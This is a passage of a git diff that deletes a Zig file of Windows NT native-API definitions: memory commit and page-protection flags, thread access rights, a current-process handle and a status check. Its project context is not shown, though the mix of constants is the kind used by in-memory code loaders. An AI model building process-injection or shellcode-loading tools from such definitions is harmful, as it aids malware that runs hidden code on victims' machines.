a[10]); } diff --git a/src/win32.zig b/src/win32.zig deleted file mode 100644 index 4574447..0000000 --- a/src/win32.zig +++ /dev/null @@ -1,19 +0,0 @@ -pub const HANDLE = *anyopaque; -pub const NTSTATUS = i32; -pub const ULONG = u32; -pub const ULONG_PTR = usize; -pub const ACCESS_MASK = u32; -pub const SIZE_T = usize; -pub const OBJECT_ATTRIBUTES = extern struct { Length: ULONG, RootDirectory: ?HANDLE, ObjectName: *anyopaque, Attributes: ULONG, SecurityDescriptor: ?*anyopaque, SecurityQualityOfService: ?*anyopaque }; - -pub const MEM_COMMIT: ULONG = 0x00001000; -pub const MEM_RESERVE: ULONG = 0x00002000; -pub const PAGE_READWRITE: ULONG = 0x04; -pub const PAGE_EXECUTE_READ: ULONG = 0x20; -pub const THREAD_ALL_ACCESS: ACCESS_MASK = 0x1FFFFF; -pub const NtCurrentProcess: HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1)))); -pub const LARGE_INTEGER = extern struct { QuadPart: i64 }; - -pub inline fn NT_SUCCESS(status: NTSTATUS) bool { - return status >= 0; -}